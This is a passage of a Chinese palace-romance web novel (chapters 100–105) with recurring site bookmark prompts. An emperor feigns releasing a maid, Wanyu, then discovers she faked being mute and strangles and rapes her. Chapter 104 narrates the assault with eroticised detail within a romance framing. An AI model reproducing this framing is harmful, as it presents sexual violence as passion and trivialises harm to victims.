《出宫前夜,疯批帝王后悔了》 第100章 一个女人而已,不值什么 孙良言惊愕地看着祁让,以为自己耳朵出现了幻听。 “皇上,这是真的吗?”他不敢置信地向祁让确认,唯恐祁让只是一时赌气,转个脸又变卦。 祁让不悦地睨了他一眼:“你在质疑朕的决定?” “奴才不敢,奴才,奴才就是不敢相信晚余姑娘真的醒了。”孙良言避重就轻道,“那么多太医都束手无策,皇上是用什么法子把人叫醒的?” 他不提这个还好,一提起这个,祁让整张脸都罩上了一层寒霜。 那么多太医都束手无策,自己只是说要放她出宫,给她自由,她就醒了。 可见她对出宫是有多渴望,对自由有多向往。 她是真的迫不及待想要离开他。 祁让不禁自嘲一笑。 身为帝王,却留不住一个小宫女的心,这算不算是一种失败? 他一句话都不想再说,负手大步而去。 江晚棠也被他的话震惊到,直到这时才回过神来,追上他叫了一声:“皇上。” 祁让侧目看了她一眼,脚步未停:“时辰不早了,晋王妃该离宫了。” 江晚棠原本想以照顾妹妹为由留在宫里,看看能不能找到机会溜去冷宫看一眼晋王。 谁知她一来,晚余就醒了。 醒着的晚余肯定不会要她照顾,这样一来,她也就没有了留下来的理由。 她还想再和祁让争取一下,可祁让非但不愿意搭理她,似乎对晚余也要放手了。 这个转变让她觉得好突然,她拿不准祁让是真放手,还是假放手。 有没有可能是被言官逼的没办法,想先把人放出去堵悠悠众口,之后再偷偷摸摸地弄进来? 以祁让的心性,还真有这种可能。 她不知道自己还能再怎样争取留下来的机会,跟在祁让后面不甘心道:“皇上,臣妾好不容易来一回,让臣妾看一眼妹妹再走行吗?” “不必了。”祁让冷冷道,“她过几天就要回家,到时候你可以好好的看。” “臣妾……” 江晚棠还想再说,祁让已经随手指了一个小太监,吩咐小太监好生送她出去。 江晚棠无奈,只得行礼告退,跟着小太监走了。 孙良言跟做梦似的,迫不及待地进了东梢间,向躺在床上望着房顶出神的晚余道喜:“晚余姑娘,恭喜恭喜,皇上已经答应放你出宫,你终于自由了。” 晚余反应迟钝地看向他,脸上未见任何喜色,甚至以为他说的是个笑话,或者是自己出现了幻觉。 “是真的,千真万确,是皇上亲口说的。”孙良言笑着走到床前,把祁让的话讲给她听,“皇上说了,让你现在就挪出乾清宫,回原来的值舍休养,三日后送你出宫,没有他的命令,这辈子都不许你再踏入紫禁城。” 晚余见他神情认真,总算相信了一些,苍白的脸上因激动泛起一些红晕。 她吃力地从床上坐起来,手上比划道:“是真的吗,皇上当真这样说的吗?” 孙良言连连点头:“真的,真的,比真金还真。” 晚余惊喜之余,又忐忑不安:“皇上为何突然松口,他不会再改变主意吧?” “不会的,放心吧!”孙良言小声道,“这回多亏了那些言官,他们为了让皇上放你出宫以死相谏,陈老御史在乾清门外撞得头破血流,皇上想不答应都不行。” 原来如此。 晚余听到这儿,才算彻底放下心来。 如果说朝野内外还有什么人能让祁让改变主意,估计也只有那帮刚正不阿的御史了。 只是没想到,那帮御史会为了她一个小女子如此豁得出去。 尤其是陈老御史,如果没有他以死相逼,祁让恐怕没这么容易妥协。 等自己出宫后,一定要找机会向他当面道谢。 沈长安和徐清盏那边还不知道是什么情况,他们要是知道祁让的决定,肯定会高兴疯的。 这可真是山重水复疑无路,柳暗花明又一村。 晚余按捺住激动的心情,挣扎着从床上爬起来,请求孙良言现在就把她送回值舍去。 孙良言劝她不要着急,她刚醒过来,身子还虚得很,值舍那边又冷,不如等到明天早上再搬过去。 晚余摇头。 她一时一刻都等不了,哪怕现在出不了宫,能够先离开乾清宫也是好的。 至少这样可以离祁让远一点。 她真的真的不想再见到他了。 孙良言何尝不明白她的急切,心里想着,她不想再见到皇上,皇上也不想再见到她,如此倒是很好,要断就断的干脆。 于是便按照她的意思,叫了几个太监宫女,自己亲自陪同着把她送了回去。 祁让坐在东暖阁里,听到外面的动静,心里很不是滋味。 他是说让她挪出乾清宫,又没说叫她即刻就挪出去,她虚弱成那样却一刻都不能等,好像迫不及待要和他撇清关系似的。 行吧! 走就走吧! 早走早清静。 这样也省得自己反悔。 一个女人而已。 不值什么。 他阴沉着脸,一面自我安慰,一面抓起手边的茶盏狠狠摔在地上。 啪的一声,茶盏落地,摔得四分五裂,吓得宫人们全都趴跪在地上,大气都不敢喘。 “滚!都给朕滚!”他咬牙切齿,额角的青筋凸起。 宫人们连滚带爬地出去,远远躲开,不敢发出一点动静。 整座宫殿都沉寂下来,像一座华丽的坟墓,里面葬着一只孤独的兽。 晚余被送回值舍,一路上遇到的所有宫人都偷偷盯着她看。 很快,皇上叫她三日后离宫的消息就传遍了整个紫禁城。 司礼监那边自然也听到了风声,来喜赶在宫门下钥之前出了宫,迫不及待要把这个好消息告诉给徐清盏。 此时的徐清盏和沈长安刚借着夜幕的掩盖从御史陈文泽家的后门走出来。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第101章 就差这最后一哆嗦了 两人都穿着黑衣,裹着黑色的披风,披风的兜帽戴在头上,遮挡了大半张脸,即便熟人遇见,不留神看也认不出来。 后门停着一辆不起眼的马车,两人上了车,车夫便赶着马车往巷子外面走去。 “这一回多亏了陈老御史,我是真没想到你居然能说动他。”徐清盏小声说道。 沈长安坐在他对面,谨慎地挑起一角车帘向外看。 窗外夜色渐浓,冷清的巷子空无一人,只有寒风飒飒而过。 “他也是看在我战场上救过他儿子的份上,他一把年纪,就那么一个儿子,儿子又不肯安安生生走文官的路子,以后少不得要我照应。” 徐清盏轻笑一声,伸展四肢慵懒地靠在迎枕上,一双狐狸眼微微眯起,带着几分疲倦:“你没听他说吗,儿子都是讨债鬼,他一生清廉,刚正不阿,老了老了却不得不为儿子弯腰。” 沈长安端正坐着,双手放在膝头,长年在军营养成的习惯,不管什么时候都腰背挺直:“你还说他,你这眼高于顶的掌印大人,平时哪里把那些言官放在眼里,如今为了晚余,却欠下这么多的人情。” “欠就欠呗!”徐清盏挑挑眉,不以为然,“当官的哪有人是真正的干净,只要我抓到他们的把柄,这人情说还就还上了,倒是你,你欠下的人情,才是实打实的不好还,冒的风险也是极大的。” “无所谓了。”沈长安俊朗的脸上有苦涩一闪而过,眼神却始终坚如磐石,“只要能迫使皇上放晚余出宫,一切都是值得的。” 顿了顿又道:“不管晚余出不出得来,你都不要让她知道我们背地里做了什么,不要让她有负担,知道吗?” “还用你教,我肯定不会告诉她的。”徐清盏幽幽道,“她只要能按照自己的心意生活就好了,这些阴暗肮脏的东西她永远不必知道。” “清盏,谢谢你。”沈长安身子前倾,伸手握住他的手。 “谢我干什么?”徐清盏自嘲一笑,“你为你心爱的姑娘,我也为我心爱的姑娘,只不过我没你那么幸运能得到姑娘的心罢了。” “……”沈长安一时语塞,满怀歉疚地看着他。 徐清盏抽出手,坐起来,在他肩上不轻不重地来了一拳:“别拿这种眼神看我,我认识她比你早,要不是我身子废了,哪里轮得到你?” 沈长安被他捶得向后仰了仰,随即笑着还了他一拳:“别这么说,大不了我们将来多生几个孩子,过继一个给你养老送终。” “嘁,谁稀罕,我有的是干儿子。”徐清盏撇嘴不屑,那双总是冷冷清清的狐狸眼却蒙上一层雾气。 沈长安眼里也泛起了泪光:“清盏,你说我们会有将来吗?” “会,当然会!”徐清盏斩钉截铁道,“只要你想着她,别放弃她,总有一天会梦想成真的。” “我当然不会放弃。”沈长安说,“不管多久,我总会等着她的,即便她一时出不来,即便她成了皇帝的妃子,将来生了孩子,年岁渐长,老了,走不动了,只要她还记得我,还记得世上有个沈长安,我就会一直等下去。” 徐清盏笑起来,脚尖踢了踢他的脚尖:“好了,别说得这么悲观,兴许明天一觉醒来,皇上就同意放晚余出宫了呢!” “但愿吧!”沈长安仰头逼退眼里的泪光,“我们沈家世代效忠君王,镇守边关,用我父亲的话说,满门忠烈没有一个异心,可是清盏,你知道吗,我此番回京,却没有一天不想造反的。” 徐清盏看着他,神情也很矛盾,“我当然明白,我又何尝不是,可你父亲说得对,放眼大邺皇室,再没有比他更适合当皇帝的了,杀了他,遭殃的是百姓,是你们这些忠臣良将抛头颅洒热血保护的天下苍生。” 沈长安以手掩面,发出一声长叹。 为什么世事总不能两全? 如果他选择大义,就护不住他心爱的姑娘。 如果他选择心爱的姑娘,就要辜负他拼死守护的百姓。 如果这一次还是没办法救出晚余,他又该何去何从? 正想着,外面有人靠近,轻声唤了一声“干爹”。 徐清盏立时坐直了身子,戏谑道:“听见没,我干儿子来了。” 沈长安收起思绪,从他挑起的车帘看过去。 来喜的脸出现在窗口,带着抑制不住的激动小声道:“干爹,小侯爷,有好消息,晚余姑娘醒了,皇上答应放她出宫了。” “你说什么?”徐清盏不敢置信道,“你再说一遍!” 来喜笑嘻嘻道:“干爹没听错,是真的,皇上让晚余姑娘回值舍去将养身体,三日后离宫。” 徐清盏妖孽的脸上露出狂喜的神情,坐过去一把搂住了沈长安:“长安,我们成功了!” 沈长安也反手抱住了他:“清盏,我们成功了!” 两人紧紧抱在一起,在对方看不见的地方红了眼眶。 狂喜过后,两人都冷静下来。 皇上不是立刻放人,而是说三日之后。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!但愿这一个三日,不要再像上次那样空欢喜一场。 这一次,他们一定要谨慎再谨慎,把所有可能发生的情况都想到,争取让晚余顺顺利利出宫。 不过,他们很快就发现,他们好像多虑了,祁让这一次好像是铁了心的要放晚余走,从晚余搬出乾清宫后,祁让就再也没有见过她,也不再过问任何有关晚余的事。 到了第二天,他甚至做了一个惊人的决定,要亲自去皇陵祭拜圣母皇太后。 圣母皇太后的忌日刚好和晚余出宫是同一天,为了让自己死心,他决定提前一天出发去皇陵,在那里住上两天再回来。 往年他也曾提出要亲自去皇陵祭拜,都被官员们以各种理由劝阻了。 怕沿途劳民伤财,怕有人半路行刺,怕天气太冷冻坏了他的万金之躯,从而耽误了朝政等等。 然而今年却没有一个人站出来阻止,从前朝到后宫,大家都对他的决定大加赞赏,甚至巴不得他赶紧走。 这样就可以避开晚余出宫的日子,以防他临时变卦。 祁让自己也明白大家心中所思所想,对孙良言自嘲道:“朕的前朝后宫,还是头一回这么万众一心,看来朕是惹了众怒了。” 孙良言也巴不得他早点走,听他这么说,心里又说不上来的难受,感觉他也怪可怜的。 身为天子,不就是想要一个姑娘吗,怎么就成了十恶不赦的罪人了? 唉! 晚余姑娘这一走,皇上估计要消沉很长一段时间。 要不然,叫胡尽忠四处寻摸寻摸,再给皇上弄一个替身回来? 可是话说回来,皇上好像并没有把晚余姑娘当成晋王妃的替身呀! 他对晚余姑娘和对晋王妃的态度,完全是天差地别的。 他是不是真的喜欢过晋王妃都未可知。 不管怎样,这段孽缘总算要结束了,以后的事,以后再说吧! 时间会冲淡一切的。 孙良言这样想着,第二天一大早,便率队陪同祁让往京城西北的永寿山皇陵而去。 队伍从神武门出宫,祁让站在宫门口,面无表情地回头看了一眼。 孙良言心里咯噔一下,心说就差这最后一哆嗦了,皇上可千万别又改变主意呀! 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第102章 祁让真的就这么放她走了吗 好在祁让并没有多做停留,那一眼之后,就收回视线,迈步走出宫门,上了辇车。 孙良言大大地松了口气,连忙吩咐队伍出发,唯恐慢一刻就会发生变故。 随着队伍远去,宫门里面为皇帝送行的妃嫔们也都松了口气。 皇上走了,那女人就可以顺利出宫了。 这些时日,皇上净忙着和那女人纠缠,一次牌子都没翻过,再这样下去,后宫真的要成冷宫了。 好在皇上到底还是想通了,愿意放那女人出宫,否则的话,她们真的要对那女人下死手了。 要不是有淑妃的前车之鉴,她们说不定早就下手了。 淑妃因为那个女人被降为齐嫔,每天还要去御花园罚跪,所以她们才没敢轻举妄动。 现在好了,这个困扰了整个后宫的女人终于要走了,就像是压在心口的一块巨石被推开,大家都觉得无比畅快,就连往日的死对头看着都顺眼多了。 大家说说笑笑地往回走,有人向兰贵妃提议,去太后那里坐一坐,把这个好消息告诉太后,让太后她老人家也高兴高兴。 兰贵妃点头应允,一群人便浩浩荡荡地去了慈宁宫。 另一边,素锦借着探病为由,把这个好消息带给了晚余。 “皇上走了,你再安心养上一天,明儿一早就可以出宫了。” 晚余的身子还很虚弱,脸色也很苍白,只是静静地躺着,都感觉力不从心。 这还是她五年来头一回病得如此严重,就像是一次把五年没生的病全都补上了一样。 如果不是实在走不动,她巴不得现在就出宫。 好在祁让走了,她不用再担心他出尔反尔。 雪盈那天从马车上摔下来,一条腿骨折,至今行动不便,在她对面的床上躺着静养。 听素锦说皇上走了,雪盈也很高兴,一连声地念阿弥陀佛:“好了好了,这回你终于可以放心了,我这几天为你担心得睡不着觉,等你走了,我可要好好的补补觉。” 晚余对她的腿伤始终心怀愧疚,见她这样发自内心地为自己高兴,不觉红了眼眶。 她费力地打着手势,把雪盈托付给素锦,请素锦以后多照顾雪盈。 素锦满口答应,把她的手放回被子里:“这样冷的天,你们这里没有地龙,你快老实躺着,别又冻凉了。” 随即,又借着掖被子的动作在她耳边小声道:“掌印说,为防万一,他和小侯爷不能在宫门外迎接你,明日夜间,他们会去你家看你,到时候再商量你和小侯爷去西北的事。” 晚余心中似有热流奔涌,雪盈就在旁边,她不好说什么,只是喉咙发紧地点了点头。 素锦又和两人闲话了几句,便匆匆离去。 雪盈见晚余眼圈红红的,便安慰她道:“不管怎样,总算能出去了,只是你阿娘不在了,你只能自己为自己打算了,你不是还有个老祖母吗,没事多去请安,哄着她照应着你,过段时间给你寻个好婆家。” 说到这里,不免又为她担心,她和皇上的事情闹得这般沸沸扬扬,京城还有什么人家敢与她结亲? 要想今后日子过得去,恐怕得嫁到远一些的地方去了。 可怜的姑娘,真真是命运多舛。 雪盈这边唏嘘不已,晚余却好心情地给了她一个虚弱的笑,摇了摇头,叫她不要为自己担心。 雪盈差点被她这一笑勾出两眼泪花。 这姑娘,真是她见过最坚强,最有韧性的姑娘了。 就像荒原上的野草,无比渺小却又无比柔韧,狂风可以将树木连根拔起,却唯独奈它不得。 风暴过后,满目疮痍,也是它第一个迎着朝阳颤颤巍巍地挺起胸膛。 可能经受过苦难的人,生命力都会格外顽强吧! “晚余,好姑娘,我还是那句话,你一定会过上好日子的。”雪盈哽咽着说道。 晚余笑着对她比了个手势:“你也一样。” 雪盈强忍泪水,也对她笑了笑:“快睡吧,好好养养精神,明天我送你出去。” 嗯! 晚余点点头,听话地闭上了眼睛。 她现在什么都不想了,最要紧的就是养足精神。 明天必定会有很多人明里暗里瞧着她,那道宫门,她要昂首挺胸地走出去。 她昏昏沉沉地睡了过去,入宫五年,头一回做了一个色彩斑斓的美梦。 梦里是草长莺飞,桃红柳绿的春日盛景,她和徐清盏沈长安在山间奔跑嬉戏,山风吹过,野杏花的花瓣落了他们一身。 他们手牵着手,对着空寂的山谷大喊,江晚余,沈长安,徐清盏,是永远的好朋友,一生一世不分离。 他们还在一棵古老的松树上刻下了一生一世不分离的誓言。 年少的时光,是那样的天真又纯粹,幼稚又美好…… 她陷在这温暖的梦境中,久久不愿醒来。 再睁眼时,天已经黑透了。 屋里一盏小小的油灯,散发着昏黄的光晕,她在那光晕里看到雪盈的脸,才慢慢从梦境中抽离出来。 “你醒了?”雪盈笑着说,“素锦刚才给咱们送晚饭过来,我看你睡得香甜,不忍心叫醒你,就让她把你的晚饭放在炉子上热着,你快起来吃吧!” 晚余撑着身子坐起来,看到窗边的炉子上放着一只铜盆,铜盆里装了水,冒着腾腾的热气,里面有两只相扣的碗。 这炉子还是孙良言让小福子拿来的,方便她们烧水煎药。 晚余下了床,站在床前缓了一会儿,才慢慢向窗边走去。 窗外夜色如墨,这个时辰,孙良言他们应该已经到皇陵了吧? 他们今晚要在皇陵住一晚,明日祭拜了圣母皇太后再回来。 那时候,自己已经出宫回到江家了。 她想着明天的事,感觉像做梦似的,总有种不真实的感觉。 祁让真的就这么放她走了吗? 就算有言官死谏,以他的性情,岂是这么容易被拿捏的? 他突然做出这样的决定,真的只是被逼得太狠吗? 正想得出神,外面突然有人推门走了进来,把她和雪盈都吓了一跳。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第103章 这一走,永远别再回来 进来的是一个让她们意想不到的人,以前的淑妃,现在的齐嫔身边的大宫女柑橘。 两个人面面相觑,都有点不知所措。 雪盈知道齐嫔素来对晚余不喜,心一下子提到了嗓子眼:“柑橘姐姐,天都这样黑了,您这个时候过来,不知有何贵干?” 柑橘没理她,看着晚余说道:“我们娘娘有话要和晚余姑娘说,请晚余姑娘随我往永寿宫走一趟。” “啊?”雪盈惊呼出声,“这么晚了,娘娘有什么话要说?” 柑橘轻蔑地瞪了她一眼:“娘娘的事是你能过问的吗?” “可是……” “多嘴!”柑橘厉声打断她,“这事与你不相干,你最好老实待着,别给自己找麻烦,我们娘娘又不吃人,不过是想和晚余姑娘道个别,等会儿我自会将她完好无损地送回来,但你要是到处声张,我就不敢保证她能不能完好了。” 雪盈脸色发白,心说后宫那么多主子娘娘都没露面,齐嫔恨死了晚余,怎么会好好和她道别,说最后再刁难她一回都比这可信。 可是怎么办? 皇上这会子不在宫里,孙总管小福子也跟他走了,娘娘们不会管晚余的死活,自己又拖着一条瘸腿,还能到哪里去求助呢? 她心中焦急,挣扎着就要下床。 晚余走过去摁住了她,打着手势对柑橘说,现在实在太晚了,自己身体虚弱,行动不便,娘娘有什么话可以让人代为传达。 柑橘面无表情道:“若能代为传达,就不会叫你去了。” 晚余见她态度坚决,只得点了点头。 雪盈也知道躲不过,便对柑橘道:“娘娘传召,晚余不能不去,但我好歹也是御前的女官,倘若半个时辰内姐姐还没把晚余送回来,我少不得要把事情闹大,到时候大家都别想好。” “你倒是对她上心。”柑橘嗤笑一声,“放心吧,我们娘娘吃不了她。” 雪盈没办法,只能眼睁睁地看着晚余被她带走。 等到人走远了,雪盈左思右想还是不放心,拖着一条腿下了床,拄着拐棍出了门。 孙总管走了,胡尽忠留在乾清宫看家,这个时候,她只能去找胡尽忠了。 可那胡尽忠不是什么好人,以前对晚余好,是想利用晚余拍皇上的马屁,现在皇上已经放弃了晚余,他还愿意多管闲事吗? 管他呢,行不行的去试一试,总比坐以待毙要好。 她拄着拐棍艰难地往乾清宫去,晚余则被柑橘一路搀扶着到了永寿宫。 这个时辰,各宫各院都已经下了钥,皇上不在宫里,妃嫔们也没什么指望,便都早早地睡下了。 永寿宫各处的灯也都熄灭了,唯独齐嫔的寝殿还亮着,看样子是在等着晚余的到来。 柑橘扶着她走进去,站在寝殿门口向里禀报:“娘娘,晚余姑娘来了。” “叫她进来吧!”齐嫔懒洋洋的声音响起:“你去外面守着,不许任何人接近。” “是。”柑橘答应一声退了出去,吱呀一声关上殿门。 晚余深吸一口气,迈步走了进去。 齐嫔坐在床沿,身上还穿着白天的宫装,头饰妆容也都没卸,即便降了位份,仍是那样明艳高傲,目空一切。 晚余走到她两步远的距离,屈膝下跪,对她恭恭敬敬地磕了三个头。 齐嫔看着她,淡淡道:“你都要走了,何必再给我行此大礼。” 晚余比划道:“这几年承蒙娘娘照拂,晚余感激不尽,粉身碎骨无以为报。” 齐嫔嗤笑一声:“我照拂你什么了,我毒哑了你,三天两头找你麻烦,打你,骂你,羞辱你,还害你吐血昏迷。” “娘娘都是为我好。”晚余又比划道。 齐嫔定定看她,眼中水雾弥漫:“外面除了柑橘再无旁人,我为你担了五年的罪名,如今你要走了,还不肯与我说句话吗?” 晚余也看着她,泪盈于睫,却是没有开口。 齐嫔说:“我知道你谨慎,和徐清盏独处也不肯开口,但今晚皇上不在,我们是绝对安全的,你还怕什么?” 晚余还是不说话。 小心驶得万年船,她都忍了五年了,不能功亏一篑。 若非柑橘一再坚持,她绝对不会冒险来这一趟。 齐嫔叹口气:“罢了,你不说,我也不勉强你,我照拂了你五年,以后,也请你替我照顾好他,我这一生终究要老死宫中,我没福气拥有的人,就交托给你了,我没福气过的日子,你们替我一并过了吧!” 她说得这样凄凉,晚余终于还是没忍住,眼泪滚落下来,膝行两步到她脚边,哽咽地叫了一声“齐姐姐”。 她已经五年没说过话,乍一开口,声音干涩又粗哑,像年久失修的木门发出的声音。 “真难听。”齐嫔嘲笑她,眼泪却也不受控制地掉下来。 晚余伸手去揉她的膝盖:“姐姐跪了这些时日,腿还好吗?” “徐清盏让人送了很多药膏,我跪的时候也带了护膝的。”齐嫔说道。 本小章还未完,请点击下一页继续阅读后面精彩内容!晚余的泪滴落在她腿上,手上却没停,一下一下帮她按揉膝盖:“是我连累了姐姐。” “别这么说,我也不是为了你。”齐嫔仰起头,骄傲地抹去腮边的泪,“如果不是他,你的死活都不与我相干。” 晚余含泪看她。 到了这个时候,她还是这样嘴硬。 可是她却有着一颗世间最柔软的心。 说到底,也是个身不由己的可怜人罢了。 “你走吧,明天我不会去送你。”齐嫔转过头,嗓音哽咽,“我们这辈子都无缘相见了,今晚冒险叫你来,就是想让你替我和他说一声,我齐若萱,没有辜负他的托付。” 晚余瞬间泪如雨下。 没进宫之前的齐若萱,心里偷偷爱慕着沈长安,只是她还没有机会将这爱恋说出口,就被一纸诏书封为淑妃,进宫做了皇帝的女人。 这个秘密无人知晓,连沈长安本人也不知道。 她比沈长安大半岁,两家是世交,沈长安叫她齐家姐姐。 后来自己被送到祁让身边,一度想要轻生,沈长安便托她给自己捎了“我心匪石”四个字。 也是从那时起,齐若萱才知道沈长安有喜欢的人。 她自知自己这辈子都不能离开皇宫,就想要成全她和沈长安。 于是就假装嫉妒她,给她灌了一碗药,让她失去了做妃嫔的资格,也让皇帝因为愧疚,不再处处刁难于她。 五年来,她每次都会在她最危险的时候出现,表面上是欺辱她,实际上都是替她解围。 她就这样日复一日地用自己的方式守护着她,落下一身的骂名。 可她却说,幸亏有她,有送她出宫的信念,这日子才能熬得下去。 现在,她要走了,她却要继续留在这寂寞深宫,艰难度日。 “齐姐姐,我这一走,就剩你一个人了。”晚余哭着抱住她。 “一个人怎么了,以后不为你们操心,我还乐得清静。”齐嫔笑道,“你走了,没有人再和我争宠,我得把我淑妃的位份再挣回来。” 她笑着说出这些话,眼里却泪光闪闪。 “快走吧,我最见不得人哭哭啼啼。” 她弯腰把晚余拉起来,拉着她走出去,亲自为她打开殿门:“去吧,这一走,永远都不要再回来。” 殿门吱呀一声打开,祁让高大的身影无声无息站在门外。 四周皆是黑暗,只有胡尽忠手里一盏灯笼照亮他如杀神般愤怒的脸。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第104章 今夜不会再对她怜悯 晚余刚抬起一只脚,骤然看到灯影里的祁让,脑子轰的一声,如遭雷击,浑身的汗毛都竖起来。 祁让一身玄色龙袍负手而立,面色阴沉如水,幽深凤眸里燃烧着毁天灭地般的怒火,仿佛下一刻就要大开杀戒。 晚余对上他的目光,后背瞬间被冷汗湿透,脸上血色尽褪,腿脚软得几乎站立不住,满脑子只回荡着两个字——完了! 五年来的小心翼翼,殚精竭虑,都在这一刻化为了泡影。 终于要出宫的期待和喜悦,对未来生活的美好幻想,也在这一刻土崩瓦解。 她甚至能听见心底某个地方传来轰然坍塌的巨响。 祁让继续沉默着,眼神却越发的阴鸷,刀子一般在两个女人脸上来回扫视。 齐嫔和晚余一样面无人色,浑身发抖,那么骄傲的一个人,五年来头一回露出胆怯和惊惧的神情。 “皇…上…”她颤抖着吐出这两个字,声音细如蚊蝇,却打破了这死寂的夜。 “你们,好得很!”祁让一字一顿地从牙缝里挤出五个字。 短短的五个字,将帝王的震怒展露无遗。 背在身后的手攥紧又松开,松开又攥紧,发出咔咔的声响。 半晌,他猛地向前迈出一步。 齐嫔本能地瑟缩了一下。 晚余却是头一回没有退缩,惨白着脸挡在了齐嫔前面。 祁让冷笑,突然伸手掐住了她的脖子:“天天躲着朕,这会子倒是不躲了!” “姐妹情深是吧?” “亏朕还因着她毒哑了你而心怀愧疚,遍寻名医为你治嗓子!” “朕陪着你喝了五年的药,原来竟是被你们当傻子一样骗了五年!” 他灼热的气息喷在晚余脸上,如同愤怒的火焰。 晚余感到一阵强烈的窒息,似乎听到了自己喉咙碎裂的声音。 “说话呀,方才不是说的挺好吗,现在又来跟朕装哑巴了?” 祁让咬牙切齿,五指用力收紧,看着她的脸因窒息而泛起潮红,看着她眼角因痛苦而流下的眼泪。 这凄惨的模样本该让他痛快,可他胸腔烧灼的怒火却愈发猛烈。 这双澄澈如湖水的眼睛里,不只装着流不完的眼泪,还装着满满的算计与欺骗。 五年! 她就是用这副柔弱可怜的样子骗了他一千八百多个日夜! 她一定很得意吧? 她成功地骗过了他,获取了出宫的机会。 在她眼里,他是不是天下头一号的傻瓜? 喉咙处的窒息感越来越强烈,晚余已然放弃挣扎,绝望的眼神如死灰般地望着祁让。 齐嫔终于回过神,扑上来去扒拉祁让的手:“皇上,都是我的主意,是我教晚余这么做的,您要杀就杀我吧……” “滚开!” 祁让抬脚将她踹倒在地,厉声道:“胡尽忠,传朕的口谕,齐嫔欺君罔上,罪大恶极,即刻贬为庶人,打入冷宫,此生不得赦免!” “是。” 胡尽忠答应一声,招手叫来两名侍卫,将齐嫔拖了出去。 晚余听闻要将齐嫔打入冷宫,这才挣扎起来,拼命去抓祁让的手,喉咙里发出呜咽之声。 祁让推着她进入殿内,将她狠狠掼在地上:“胡尽忠,关门!” 殿门吱呀一声关起,晚余猛地打了个寒战,一面剧烈咳喘,一面目光惊惧地看着祁让。 祁让低着头,居高临下地看着她,高大的身影像一座山将她整个笼罩。 “朕到底哪里不好,让你这样挖空心思的算计朕,欺骗朕,逃避朕?” 晚余惊恐万状,以手撑地,向后退开。 祁让弯腰抓住她的衣领将她从地上提了起来:“到了这会子,你还想逃,不想做朕的妃嫔是吧,朕现在就要了你,将这个身份永远烙印在你身上,让你到死都摆脱不掉这个身份!" 晚余连连摇头,泪珠纷纷跌落。 "你没有选择的权力。"祁让捏住她的下巴,力道之大几乎要把她的骨头捏碎,"这是你欺骗朕的代价,从现在直到老死,你都不得再踏出宫门半步!" 他将她拖进暖阁,用力甩倒在炕上,在她挣扎着要起来的时候,一只手摁住她削瘦的肩,一只手用力撕开了她的衣裳。 “不要!” 布帛撕裂声中,晚余发出凄厉又粗哑的叫喊。 男人深渊般的眼底,怒火和欲火交织,在她战栗的躯体上肆意流连:“不要?五年来你第一次开口和朕说话,就是不要!” “你不要,朕偏要,朕就是要把你留在宫里,就是要你成为朕的女人,这辈子,你休想再逃出朕的手心!” “就算你今晚不来见齐嫔,朕也不会放过你的,朕答应放你走,就是想看看你出宫后会去见谁,会跟谁走。” “现在这样,朕倒是省事了!” “朕猜得没错,这里面果然有徐清盏的事,那个齐嫔无法拥有的男人又是谁?” “说啊!” 衣衫片片破碎飘落,晚余拼命摇头,苍白的脸上泪痕斑斑。 “好,你不说,朕自有法子叫你说……” 祁让咬着牙,骨节分明的手指毫不怜惜地扯掉了她胸前最后的遮挡。 暖阁里没点灯,只有寝殿那边的光微弱地照进来,朦朦胧胧地照在那起伏的峰峦之上,让那一身凝脂白玉般的肌肤显得更加诱人。 祁让眸底欲色加深,欺身压上,张口咬在她的肩头。 “不要……” 晚余痛呼出声,拼死挣扎,可她病弱的身体,怎能与盛怒中的男人抗衡? 混乱中,她拔下头上的发簪,奋力向祁让的脖子刺去。 下一刻,手腕就被祁让用力抓住。 “朕不是赖三春,不会让你得逞。” “你杀赖三春不就是为了让朕心疼你,带你离开掖庭吗,朕不揭穿你,也不追究你杀人的罪过,你却拿朕当傻子耍……” 他恨上来,夺下她的发簪,解下自己的腰带将她双手捆绑起来,脱下龙袍扔在一旁。 他的心被怒火烧得理智全无。 他不会再对她有一丝怜悯。 今夜不会。 以后也不会。 她这样可恶的骗子,不配得到他的怜悯。 他掐住她柔如柳条的纤腰,积攒在心底的欲念伴着怒火倾泻而出…… 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第105章 如同暴雨中零落一地的花 “啊……” 一声凄厉的叫声响彻夜空,永寿宫外闻讯赶来的各宫妃嫔齐齐打了个寒战。 完了! 这回真的完了! 那个女人彻底走不成了! 匆匆而来的徐清盏也听到了这声惨叫,一颗心直往深渊里沉去。 他停在宫门外,双手在袖中死死攥紧,双脚仿佛钉在地上一般,再也挪不动分毫。 “干爹!” 来禄叫了他一声,他猛地回过神,转身就走。 “干爹,您要去哪儿?”来禄追上他问道。 徐清盏紧抿着唇一言不发,那张妖孽般的脸上此刻除了杀气还是杀气。 来禄不敢再问,默默跟着他。 直到他越走越远,越走越偏僻,才恍然大悟,他这是要去冷宫。 可是,这个时候,他放着晚余姑娘不管,跑到冷宫来做什么? 难不成是来看齐嫔的? 冷宫其实就是一处偏僻废弃的宫殿,最开始的时候是因为死过人,妃嫔们都不愿居住,荒废之后,就成了关押犯罪妃嫔的地方。 祁让登基后,虽然不亲近后宫妃嫔,却也很少责罚她们,这冷宫就一直没用到,齐嫔算是头一个。 至于那个被幽禁冷宫的晋王,其实是关在专供皇子们居住的撷芳殿的偏殿里。 祁让登基至今没有皇子,晋王也就一直关在那里没有挪窝。 徐清盏翻墙而入,点亮火折子,在破败不堪的正殿找到了齐嫔。 齐嫔面如死灰地坐在一把落满灰尘的椅子上,身上华丽的宫装和这破败之地形成鲜明的对比。 徐清盏走近她,冷声道:“你明知她明天要走,为什么还要无事生非,你都和她说了什么,皇上为什么如此震怒?” 一连串的问题用寒意彻骨的语气问出来,齐嫔木呆呆地转着眼珠看了他一眼。 跳跃的火光照亮徐清盏的脸,齐嫔扑通一声从椅子上滑下来,跪坐在他面前失声痛哭。 “怪我,都怪我,是我让柑橘去找她的,我想着她这一走,我可能这辈子都见不着了,就想和她说说话,道个别……” “皇上不在宫里,我以为是安全的,就和她说了一些从前的事,我没想到皇上会突然回来,我还让她说话给我听……” “你说什么?” 